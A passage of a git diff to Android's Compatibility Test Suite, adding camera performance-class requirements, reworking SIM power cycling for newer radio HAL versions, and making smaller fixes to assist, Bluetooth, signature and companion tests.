+ return this.addRequirement(CameraTimestampSourceRequirement.createTimestampSourceReq());
+ }
+
+ public CameraLatencyRequirement addR7_5__H_1_5() {
+ return this.addRequirement(CameraLatencyRequirement.createJpegLatencyReq());
+ }
+
+ public CameraLatencyRequirement addR7_5__H_1_6() {
+ return this.addRequirement(CameraLatencyRequirement.createLaunchLatencyReq());
+ }
+
+ public CameraRawRequirement addR7_5__H_1_8() {
+ return this.addRequirement(CameraRawRequirement.createRawReq());
+ }
+
+ public Camera240FpsRequirement addR7_5__H_1_9() {
+ return this.addRequirement(Camera240FpsRequirement.create240FpsReq());
+ }
+
+ public UltraWideZoomRatioRequirement addR7_5__H_1_10() {
+ return this.addRequirement(UltraWideZoomRatioRequirement.createUltrawideZoomRatioReq());
+ }
+
+ public ConcurrentRearFrontRequirement addR7_5__H_1_11() {
+ return this.addRequirement(ConcurrentRearFrontRequirement.createConcurrentRearFrontReq());
+ }
+
+ public PreviewStabilizationRequirement addR7_5__H_1_12() {
+ return this.addRequirement(PreviewStabilizationRequirement.createPreviewStabilizationReq());
+ }
+
+ public LogicalMultiCameraRequirement addR7_5__H_1_13() {
+ return this.addRequirement(LogicalMultiCameraRequirement.createLogicalMultiCameraReq());
+ }
+
+ public StreamUseCaseRequirement addR7_5__H_1_14() {
+ return this.addRequirement(StreamUseCaseRequirement.createStreamUseCaseReq());
+ }
+
public void submitAndCheck() {
- boolean perfClassMet = true;
- for (Requirement req: this.mRequirements) {
- perfClassMet &= req.writeLogAndCheck(this.mTestName);
- }
+ boolean perfClassMet = submit();
// check performance class
assumeTrue("Build.VERSION.MEDIA_PERFORMANCE_CLASS is not declared", Utils.isPerfClass());
assertThat(perfClassMet).isTrue();
+ }
+ public boolean submit() {
+ boolean perfClassMet = true;
+ for (Requirement req: this.mRequirements) {
+ perfClassMet &= req.writeLogAndCheck(this.mTestName);
+ }
this.mRequirements.clear(); // makes sure report isn't submitted twice
+ return perfClassMet;
}
+
}
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java b/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
index d93cb2e0a00..ad0d0d5694f 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
@@ -16,8 +16,6 @@
package android.mediapc.cts.common;
-import android.os.Build;
-
import java.util.function.BiPredicate;
public class RequirementConstants {
@@ -54,8 +52,13 @@ public class RequirementConstants {
public static final String R7_5__H_1_4 = "r7_5__h_1_4"; // 7.5/H-1-4
public static final String R7_5__H_1_5 = "r7_5__h_1_5"; // 7.5/H-1-5
public static final String R7_5__H_1_6 = "r7_5__h_1_6"; // 7.5/H-1-6
- public static final String R7_5__H_1_7 = "r7_5__h_1_7"; // 7.5/H-1-7
public static final String R7_5__H_1_8 = "r7_5__h_1_8"; // 7.5/H-1-8
+ public static final String R7_5__H_1_9 = "r7_5__h_1_9"; // 7.5/H-1-9
+ public static final String R7_5__H_1_10 = "r7_5__h_1_10"; // 7.5/H-1-10
+ public static final String R7_5__H_1_11 = "r7_5__h_1_11"; // 7.5/H-1-11
+ public static final String R7_5__H_1_12 = "r7_5__h_1_12"; // 7.5/H-1-12
+ public static final String R7_5__H_1_13 = "r7_5__h_1_13"; // 7.5/H-1-13
+ public static final String R7_5__H_1_14 = "r7_5__h_1_14"; // 7.5/H-1-14
public static final String R7_1_1_1__H_1_1 = "r7_1_1_1__h_1_1"; // 7.1.1.1/H-1-1
public static final String R7_1_1_3__H_1_1 = "r7_1_1_3__h_1_1"; // 7.1.1.3/H-1-1
public static final String R7_6_1__H_1_1 = "r7_6_1__h_1_1"; // 7.6.1/H-1-1
@@ -90,14 +93,50 @@ public class RequirementConstants {
public static final String NUM_CRYPTO_HW_SECURE_ALL_SUPPORT =
"number_crypto_hw_secure_all_support";
+ public static final String PRIMARY_CAMERA_AVAILABLE = "primary_camera_available";
+ public static final String PRIMARY_CAMERA_RESOLUTION = "primary_camera_resolution";
+ public static final String PRIMARY_CAMERA_VIDEO_SIZE_REQ_SATISFIED =
+ "primary_camera_video_size_req_satisfied";
+ public static final String PRIMARY_CAMERA_VIDEO_FPS =
+ "primary_camera_video_fps";
+ public static final String REAR_CAMERA_HWL_LEVEL = "rear_primary_camera_hwl_level";
+ public static final String FRONT_CAMERA_HWL_LEVEL = "front_primary_camera_hwl_level";
+ public static final String REAR_CAMERA_TIMESTAMP_SOURCE =
+ "rear_primary_camera_timestamp_source";
+ public static final String FRONT_CAMERA_TIMESTAMP_SOURCE =
+ "front_primary_camera_timestamp_source";
+ public static final String REAR_CAMERA_LATENCY = "rear_camera_latency";
+ public static final String FRONT_CAMERA_LATENCY = "front_camera_latency";
+ public static final String REAR_CAMERA_RAW_SUPPORTED = "rear_camera_raw_supported";
+ public static final String REAR_CAMERA_240FPS_SUPPORTED = "rear_camera_240fps_supported";
+ public static final String REAR_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET =
+ "rear_camera_ultrawide_zoom_req_met";
+ public static final String FRONT_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET =
+ "front_camera_ultrawide_zoom_req_met";
+ public static final String CONCURRENT_REAR_FRONT_SUPPORTED = "rear_front_concurrent_camera";
+ public static final String REAR_CAMERA_PREVIEW_STABILIZATION_SUPPORTED =
+ "rear_camera_preview_stabilization_supported";
+ public static final String FRONT_CAMERA_PREVIEW_STABILIZATION_SUPPORTED =
+ "front_camera_preview_stabilization_supported";
+ public static final String REAR_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET =
+ "rear_camera_logical_multi_camera_req_met";
+ public static final String FRONT_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET =
+ "front_camera_logical_multi_camera_req_met";
+ public static final String REAR_CAMERA_STREAM_USECASE_SUPPORTED =
+ "rear_camera_stream_usecase_supported";
+ public static final String FRONT_CAMERA_STREAM_USECASE_SUPPORTED =
+ "front_camera_stream_usecase_supported";
+
public enum Result {
NA, MET, UNMET
}
public static final BiPredicate<Long, Long> LONG_GTE = RequirementConstants.gte();
public static final BiPredicate<Long, Long> LONG_LTE = RequirementConstants.lte();
+ public static final BiPredicate<Float, Float> FLOAT_LTE = RequirementConstants.lte();
public static final BiPredicate<Integer, Integer> INTEGER_GTE = RequirementConstants.gte();
public static final BiPredicate<Integer, Integer> INTEGER_LTE = RequirementConstants.lte();
+ public static final BiPredicate<Integer, Integer> INTEGER_EQ = RequirementConstants.eq();
public static final BiPredicate<Double, Double> DOUBLE_EQ = RequirementConstants.eq();
public static final BiPredicate<Boolean, Boolean> BOOLEAN_EQ = RequirementConstants.eq();
public static final BiPredicate<Double, Double> DOUBLE_GTE = RequirementConstants.gte();
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java b/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java
index ac03705a1a2..28a122b4521 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java
@@ -73,16 +73,24 @@ public class Utils {
Context context = InstrumentationRegistry.getInstrumentation().getContext();
DisplayMetrics metrics = new DisplayMetrics();
- WindowManager windowManager = context.getSystemService(WindowManager.class);
- windowManager.getDefaultDisplay().getMetrics(metrics);
- DISPLAY_DPI = metrics.densityDpi;
- DISPLAY_LONG_PIXELS = Math.max(metrics.widthPixels, metrics.heightPixels);
- DISPLAY_SHORT_PIXELS = Math.min(metrics.widthPixels, metrics.heightPixels);
-
- ActivityManager activityManager = context.getSystemService(ActivityManager.class);
- ActivityManager.MemoryInfo memoryInfo = new ActivityManager.MemoryInfo();
- activityManager.getMemoryInfo(memoryInfo);
- TOTAL_MEMORY_MB = memoryInfo.totalMem / 1024 / 1024;
+ // When used from ItsService, context will be null
+ if (context != null) {
+ WindowManager windowManager = context.getSystemService(WindowManager.class);
+ windowManager.getDefaultDisplay().getMetrics(metrics);
+ DISPLAY_DPI = metrics.densityDpi;
+ DISPLAY_LONG_PIXELS = Math.max(metrics.widthPixels, metrics.heightPixels);
+ DISPLAY_SHORT_PIXELS = Math.min(metrics.widthPixels, metrics.heightPixels);
+
+ ActivityManager activityManager = context.getSystemService(ActivityManager.class);
+ ActivityManager.MemoryInfo memoryInfo = new ActivityManager.MemoryInfo();
+ activityManager.getMemoryInfo(memoryInfo);
+ TOTAL_MEMORY_MB = memoryInfo.totalMem / 1024 / 1024;
+ } else {
+ DISPLAY_DPI = 0;
+ DISPLAY_LONG_PIXELS = 0;
+ DISPLAY_SHORT_PIXELS = 0;
+ TOTAL_MEMORY_MB = 0;
+ }
}
/**
diff --git a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
index 2508845049b..8da22f32ba0 100644
--- a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
@@ -41,6 +41,7 @@ import java.util.ArrayList;
import java.util.List;
import java.util.UUID;
import org.junit.Assume;
+import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TestName;
@@ -58,6 +59,11 @@ public class PerformanceClassTest {
@Rule
public final TestName mTestName = new TestName();
+ @Before
+ public void isPerformanceClassCandidate() {
+ Utils.assumeDeviceMeetsPerformanceClassPreconditions();
+ }
+
static {
mMimeSecureSupport.add(MediaFormat.MIMETYPE_VIDEO_AVC);
mMimeSecureSupport.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
diff --git a/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
index bbe26dce0ac..2ee8b3bf8c5 100644
--- a/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
@@ -21,12 +21,14 @@ import static android.mediapc.cts.CodecTestBase.SELECT_HARDWARE;
import static android.mediapc.cts.CodecTestBase.SELECT_VIDEO;
import static android.mediapc.cts.CodecTestBase.getMimesOfAvailableCodecs;
import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+import static org.junit.Assert.assertTrue;
import android.media.MediaCodec;
import android.media.MediaCodecInfo.CodecCapabilities;
import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint;
import android.media.MediaFormat;
import android.mediapc.cts.common.PerformanceClassEvaluator;
+import android.mediapc.cts.common.Utils;
import android.util.Log;
import androidx.test.filters.LargeTest;
import com.android.compatibility.common.util.CddTest;
@@ -35,6 +37,7 @@ import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
+import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TestName;
@@ -47,6 +50,11 @@ public class VideoCodecRequirementsTest {
@Rule
public final TestName mTestName = new TestName();
+ @Before
+ public void isPerformanceClassCandidate() {
+ Utils.assumeDeviceMeetsPerformanceClassPreconditions();
+ }
+
private Set<String> get4k60HwCodecSet(boolean isEncoder) throws IOException {
Set<String> codecSet = new HashSet<>();
Set<String> codecMediaTypes = getMimesOfAvailableCodecs(SELECT_VIDEO, SELECT_HARDWARE);
@@ -60,6 +68,7 @@ public class VideoCodecRequirementsTest {
codec.getCodecInfo().getCapabilitiesForType(codecMediaType);
List<PerformancePoint> pps =
capabilities.getVideoCapabilities().getSupportedPerformancePoints();
+ assertTrue(hwVideoCodec + " doesn't advertise performance points", pps.size() > 0);
for (PerformancePoint pp : pps) {
if (pp.covers(PP4k60)) {
codecSet.add(hwVideoCodec);
diff --git a/tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java b/tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java
index 234a0cd1047..c82e0392fad 100644
--- a/tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java
+++ b/tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java
@@ -16,34 +16,15 @@
package android.ondevicepersonalization.cts;
-import static org.junit.Assert.assertEquals;
-
-import android.content.Context;
-import android.ondevicepersonalization.OnDevicePersonalizationManaging;
-
-import androidx.test.core.app.ApplicationProvider;
-
-import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
/**
- * Test of {@link OnDevicePersonalizationManaging}
+ * Test of {@link OnDevicePersonalizationManager}
*/
@RunWith(JUnit4.class)
public class OnDevicePersonalizationServiceTest {
- private Context mContext;
- private OnDevicePersonalizationManaging mService;
-
- @Before
- public void setup() throws Exception {
- mContext = ApplicationProvider.getApplicationContext();
- mService = mContext.getSystemService(OnDevicePersonalizationManaging.class);
- }
-
@Test
- public void testVersion() throws Exception {
- assertEquals(mService.getVersion(), "1.0");
- }
+ public void test() throws Exception {}
}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
index 2f77728f06b..9cb5fb10c08 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/BaseKillswitchTest.java
@@ -59,7 +59,7 @@ public abstract class BaseKillswitchTest extends AbstractApiTest {
doTestKillswitchMechanism(FIELD_FILTER, /* reflection= */ true, /* jni= */ false);
}
- @Test
+ @Test(timeout = 900000)
public void testKillswitchMechanismFieldsThroughJni() {
doTestKillswitchMechanism(FIELD_FILTER, /* reflection= */ false, /* jni= */ true);
}
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index b72af1f7dce..cb5f08c1296 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -27,6 +27,7 @@
Bug: 150153196 android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY (system in API 30)
Bug: 186495404 android.intent.action.REBOOT_READY
Bug: 218245704 android.intent.action.ACTION_PACKAGE_CHANGED (fixed in TTS 20220209)
+ Bug: 237978237 android.intent.action.REMOTE_COPY
-->
<dynamicConfig>
<entry key ="intent_whitelist">
@@ -42,5 +43,6 @@
<value>android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY</value>
<value>android.intent.action.REBOOT_READY</value>
<value>android.intent.action.ACTION_PACKAGE_CHANGED</value>
+ <value>android.intent.action.REMOTE_COPY</value>
</entry>
</dynamicConfig>
diff --git a/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java b/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java
index e8caff2cff0..ef14ce6d8a7 100644
--- a/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java
+++ b/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java
@@ -18,7 +18,6 @@ package android.suspendapps.cts;
import static android.content.pm.SuspendDialogInfo.BUTTON_ACTION_UNSUSPEND;
import static android.suspendapps.cts.Constants.TEST_APP_PACKAGE_NAME;
-import static android.suspendapps.cts.SuspendTestUtils.assertSameExtras;
import static android.suspendapps.cts.SuspendTestUtils.createExtras;
import static android.suspendapps.cts.SuspendTestUtils.startTestAppActivity;
@@ -32,7 +31,6 @@ import android.content.Context;
import android.content.Intent;
import android.content.pm.SuspendDialogInfo;
import android.os.Bundle;
-import android.platform.test.annotations.SystemUserOnly;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
@@ -126,9 +124,7 @@ public class DialogTests {
final Intent activityIntent = mTestAppInterface.awaitTestActivityStart();
assertNotNull("Test activity did not start on neutral button tap", activityIntent);
- assertSameExtras("Different extras passed to startActivity on unsuspend",
- extrasForStart, activityIntent.getExtras());
-
+ // TODO(b/237707107): Verify that activityIntent has the expected extras.
assertFalse("Test package still suspended", mTestAppInterface.isTestAppSuspended());
}
diff --git a/tests/tests/assist/common/src/android/assist/common/Utils.java b/tests/tests/assist/common/src/android/assist/common/Utils.java
index 0ffcb271093..98e857689cf 100755
--- a/tests/tests/assist/common/src/android/assist/common/Utils.java
+++ b/tests/tests/assist/common/src/android/assist/common/Utils.java
@@ -56,6 +56,7 @@ public class Utils {
public static final String COMPARE_SCREENSHOT_KEY = "compare_screenshot";
public static final String DISPLAY_WIDTH_KEY = "display_width";
public static final String DISPLAY_HEIGHT_KEY = "dislay_height";
+ public static final String DISPLAY_AREA_BOUNDS_KEY = "display_area_bounds";
public static final String SCROLL_X_POSITION = "scroll_x_position";
public static final String SCROLL_Y_POSITION = "scroll_y_position";
public static final String SHOW_SESSION_FLAGS_TO_SET = "show_session_flags_to_set";
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index 7f35367333a..25c080b9c0c 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -56,6 +56,7 @@ public class MainInteractionSession extends VoiceInteractionSession {
private int mCurColor;
private int mDisplayHeight;
private int mDisplayWidth;
+ private Rect mDisplayAreaBounds;
private BroadcastReceiver mReceiver;
private String mTestName;
private View mContentView;
@@ -106,7 +107,7 @@ public class MainInteractionSession extends VoiceInteractionSession {
public void onPrepareShow(Bundle args, int showFlags) {
if (Utils.LIFECYCLE_NOUI.equals(args.getString(Utils.TESTCASE_TYPE, ""))) {
setUiEnabled(false);
- } else {
+ } else {
setUiEnabled(true);
}
}
@@ -122,6 +123,7 @@ public class MainInteractionSession extends VoiceInteractionSession {
mCurColor = args.getInt(Utils.SCREENSHOT_COLOR_KEY);
mDisplayHeight = args.getInt(Utils.DISPLAY_HEIGHT_KEY);
mDisplayWidth = args.getInt(Utils.DISPLAY_WIDTH_KEY);
+ mDisplayAreaBounds = args.getParcelable(Utils.DISPLAY_AREA_BOUNDS_KEY);
mRemoteCallback = args.getParcelable(Utils.EXTRA_REMOTE_CALLBACK);
super.onShow(args, showFlags);
if (mContentView == null) return; // Happens when ui is not enabled.
@@ -256,6 +258,11 @@ public class MainInteractionSession extends VoiceInteractionSession {
int[] pixels = new int[size.x * size.y];
screenshot.getPixels(pixels, 0, size.x, 0, 0, size.x, size.y);
+ // screenshot bitmap contains the screenshot for the entire physical display. A single
+ // physical display could have multiple display area with different applications.
+ // Let's grab the region of the display area from the original screenshot.
+ Bitmap displayAreaScreenshot = Bitmap.createBitmap(screenshot, mDisplayAreaBounds.left,
+ mDisplayAreaBounds.top, mDisplayAreaBounds.width(), mDisplayAreaBounds.height());
int expectedColor = 0;
for (int pixel : pixels) {
// Check for roughly the same because there are rounding errors converting from the
@@ -267,7 +274,7 @@ public class MainInteractionSession extends VoiceInteractionSession {
}
}
- int pixelCount = screenshot.getWidth() * screenshot.getHeight();
+ int pixelCount = displayAreaScreenshot.getWidth() * displayAreaScreenshot.getHeight();
double colorRatio = (double) expectedColor / pixelCount;
Log.i(TAG, "the ratio is " + colorRatio);
return colorRatio >= 0.6;
diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
index 44a3109a740..c89119bdea1 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
@@ -35,9 +35,9 @@ import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.graphics.Point;
+import android.graphics.Rect;
import android.os.Bundle;
import android.os.Handler;
-import android.os.HandlerThread;
import android.os.LocaleList;
import android.os.RemoteCallback;
import android.provider.Settings;
@@ -341,6 +341,8 @@ abstract class AssistTestBase {
Display.Mode dMode = mTestActivity.getWindowManager().getDefaultDisplay().getMode();
mDisplaySize = new Point(dMode.getPhysicalWidth(), dMode.getPhysicalHeight());
}
+ Rect bounds = mTestActivity.getWindowManager().getMaximumWindowMetrics().getBounds();
+ intent.putExtra(Utils.DISPLAY_AREA_BOUNDS_KEY, bounds);
intent.putExtra(Utils.DISPLAY_WIDTH_KEY, mDisplaySize.x);
intent.putExtra(Utils.DISPLAY_HEIGHT_KEY, mDisplaySize.y);
}
diff --git a/tests/tests/bluetooth/AndroidTest.xml b/tests/tests/bluetooth/AndroidTest.xml
index 9a3075beee6..98189620bab 100644
--- a/tests/tests/bluetooth/AndroidTest.xml
+++ b/tests/tests/bluetooth/AndroidTest.xml
@@ -33,6 +33,6 @@
<!-- Only run Cts Tests in MTS if the Bluetooth Mainline module is installed. -->
<object type="module_controller"
class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
- <option name="mainline-module-package-name" value="com.google.android.bluetooth" />
+ <option name="mainline-module-package-name" value="com.android.btservices" />
</object>
</configuration>
diff --git a/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java
index fba6e737bbc..5793fe2bd43 100644
--- a/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java
+++ b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java
@@ -30,6 +30,7 @@ import android.telephony.SubscriptionManager;
import android.telephony.TelephonyManager;
import android.telephony.UiccSlotMapping;
import android.util.Log;
+import android.util.Pair;
import androidx.test.InstrumentationRegistry;
@@ -40,12 +41,14 @@ import com.android.compatibility.common.util.UiccUtil.ApduResponse;
import java.util.Collection;
import java.util.List;
import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
class ApduScriptUtil {
private static final String TAG = "ApduScriptUtil";
private static final long SET_SIM_POWER_TIMEOUT_SECONDS = 30;
+ private static final long APP_STATE_ADDITIONAL_WAIT_MILLIS = TimeUnit.SECONDS.toMillis(3);
// TelephonyManager constants are @hide, so manually copy them here
private static final int CARD_POWER_DOWN = 0;
private static final int CARD_POWER_UP = 1;
@@ -106,33 +109,77 @@ class ApduScriptUtil {
"Unable to determine physical slot + port from logical slot: " + logicalSlotId);
}
+ Pair<Integer, Integer> halVersion = getContext().getSystemService(TelephonyManager.class)
+ .getRadioHalVersion();
+ Log.i(TAG, "runApduScript with hal version: " + halVersion.first + "." + halVersion.second);
+ boolean listenToSimCardStateChange = true;
+ // After hal version 1.6, powers SIM card down will not generate SIM ABSENT or
+ // SIM PRESENT events, we have to switch to listen to SIM application states instead.
+ if ((halVersion.first == 1 && halVersion.second == 6) || halVersion.first == 2) {
+ listenToSimCardStateChange = false;
+ }
+
try {
- // Note: this may wipe out subId, so we need to use the slot/port-based APDU method
- // while in pass-through mode.
- rebootSimCard(logicalSlotId, CARD_POWER_UP_PASS_THROUGH);
+ // Note: Even if it won't wipe out subId after hal version 1.6, we still use the
+ // slot/port-based APDU method while in pass-through mode to make compatible with
+ // older hal version.
+ rebootSimCard(subId,
+ logicalSlotId, CARD_POWER_UP_PASS_THROUGH, listenToSimCardStateChange);
sendApdus(physicalSlotId, portIndex, apdus);
} finally {
// Even if rebootSimCard failed midway through (leaving the SIM in POWER_DOWN) or timed
// out waiting for the right SIM state after rebooting in POWER_UP_PASS_THROUGH, we try
// to bring things back to the normal POWER_UP state to avoid breaking other suites.
- rebootSimCard(logicalSlotId, CARD_POWER_UP);
+ rebootSimCard(subId, logicalSlotId, CARD_POWER_UP, listenToSimCardStateChange);
}
}
/**
- * Powers the SIM card down, waits for it to become ABSENT, then powers it back up in {@code
- * targetPowerState} and waits for it to become PRESENT.
+ * Powers the SIM card down firstly and then powers it back up on the {@code
+ * targetPowerState}
+ *
+ * Due to the RADIO HAL interface behavior changed after version 1.6, we have to
+ * listen to SIM card states before hal version 1.6 and SIM application states after.
+ * In specific, the behavior of the method is below:
+ * <p> Before hal version 1.6, powers the SIM card down and waits for it to become
+ * ABSENT, then powers it back up in {@code targetPowerState} and waits for it to
+ become PRESENT.
+ * <p> After hal version 1.6, powers the SIM card down and waits for the SIM application
+ * state to become NOT_READY, then powers it back up in {@code targetPowerState} and
+ * waits for it to become NOT_READY {@code CARD_POWER_UP_PASS_THROUGH} or
+ * LOADED {@code CARD_POWER_UP}.
+ * The SIM application state keeps in NOT_READY state after simPower moving from
+ * CARD_POWER_DOWN to CARD_POWER_UP_PASS_THROUGH.
*/
- private static void rebootSimCard(int logicalSlotId, int targetPowerState)
+ private static void rebootSimCard(int subId,
+ int logicalSlotId, int targetPowerState, boolean listenToSimCardStateChange)
throws InterruptedException {
- setSimPowerAndWaitForCardState(
- logicalSlotId, CARD_POWER_DOWN, TelephonyManager.SIM_STATE_ABSENT);
- setSimPowerAndWaitForCardState(
- logicalSlotId, targetPowerState, TelephonyManager.SIM_STATE_PRESENT);
+ if (listenToSimCardStateChange) {
+ setSimPowerAndWaitForCardState(subId,
+ logicalSlotId, CARD_POWER_DOWN,
+ TelephonyManager.SIM_STATE_ABSENT, listenToSimCardStateChange);
+ setSimPowerAndWaitForCardState(subId,
+ logicalSlotId, targetPowerState,
+ TelephonyManager.SIM_STATE_PRESENT, listenToSimCardStateChange);
+ } else {
+ setSimPowerAndWaitForCardState(subId,
+ logicalSlotId, CARD_POWER_DOWN,
+ TelephonyManager.SIM_STATE_NOT_READY, listenToSimCardStateChange);
+ if (targetPowerState == CARD_POWER_UP) {
+ setSimPowerAndWaitForCardState(subId,
+ logicalSlotId, targetPowerState,
+ TelephonyManager.SIM_STATE_LOADED, listenToSimCardStateChange);
+ } else if (targetPowerState == CARD_POWER_UP_PASS_THROUGH) {
+ setSimPowerAndWaitForCardState(subId,
+ logicalSlotId, targetPowerState,
+ TelephonyManager.SIM_STATE_NOT_READY, listenToSimCardStateChange);
+ }
+ }
}
private static void setSimPowerAndWaitForCardState(
- int logicalSlotId, int targetPowerState, int targetSimState)
+ int subId, int logicalSlotId, int targetPowerState,
+ int targetSimState, boolean listenToSimCardStateChange)
throws InterruptedException {
// A small little state machine:
// 1. Call setSimPower(targetPowerState)
@@ -146,8 +193,10 @@ class ApduScriptUtil {
new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
- if (!TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED.equals(
- intent.getAction())) {
+ if ((!TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED.equals(
+ intent.getAction())) &&
+ (!TelephonyManager.ACTION_SIM_APPLICATION_STATE_CHANGED.equals(
+ intent.getAction()))) {
return;
}
int slotId =
@@ -183,11 +232,10 @@ class ApduScriptUtil {
uiAutomation.adoptShellPermissionIdentity(
Manifest.permission.MODIFY_PHONE_STATE,
Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
- getContext()
- .registerReceiver(
- cardStateReceiver,
- new IntentFilter(TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED));
-
+ IntentFilter intentFilter = new IntentFilter();
+ intentFilter.addAction(TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED);
+ intentFilter.addAction(TelephonyManager.ACTION_SIM_APPLICATION_STATE_CHANGED);
+ getContext().registerReceiver(cardStateReceiver, intentFilter);
Log.i(
TAG,
"Setting SIM " + logicalSlotId + " power state to " + targetPowerState + "...");
@@ -213,8 +261,15 @@ class ApduScriptUtil {
// Once the RIL request completes successfully, wait for the SIM to move to the desired
// state (from the broadcast).
- Log.i(TAG, "Waiting for SIM " + logicalSlotId + " to become " + targetSimState + "...");
- if (!cardStateLatch.await(SET_SIM_POWER_TIMEOUT_SECONDS, SECONDS)) {
+ int simApplicationState = getContext().getSystemService(TelephonyManager.class)
+ .createForSubscriptionId(subId).getSimApplicationState();
+ Log.i(TAG, "Waiting for SIM " + logicalSlotId
+ + " to become " + targetSimState + " from " + simApplicationState);
+ // TODO(b/236950019): Find a deterministic way to detect SIM power state change
+ // from DOWN to PASS_THROUGH.
+ if ((!listenToSimCardStateChange) && (targetSimState == simApplicationState)) {
+ Thread.sleep(APP_STATE_ADDITIONAL_WAIT_MILLIS);
+ } else if (!cardStateLatch.await(SET_SIM_POWER_TIMEOUT_SECONDS, SECONDS)) {
throw new IllegalStateException(
"Failed to receive SIM state "
+ targetSimState
diff --git a/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/UiAutomationTestBase.kt b/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/UiAutomationTestBase.kt
index c961624f9b0..0919575b34c 100644
--- a/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/UiAutomationTestBase.kt
+++ b/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/UiAutomationTestBase.kt
@@ -159,9 +159,11 @@ open class UiAutomationTestBase(
}
protected fun test_timeout(singleDevice: Boolean = false) {
- setDiscoveryTimeout(1.seconds)
+ // Set discovery timeout to 2 seconds to avoid flaky that
+ // there's a chance CDM UI is disappeared before waitUntilVisible
+ // is called.
+ setDiscoveryTimeout(2.seconds)
- // The discovery timeout is 1 sec, but let's give it 2.
callback.assertInvokedByActions(2.seconds) {
// Make sure no device will match the request
sendRequestAndLaunchConfirmation(
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
index 49b72549b7e..8bd1bb8fb33 100644
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
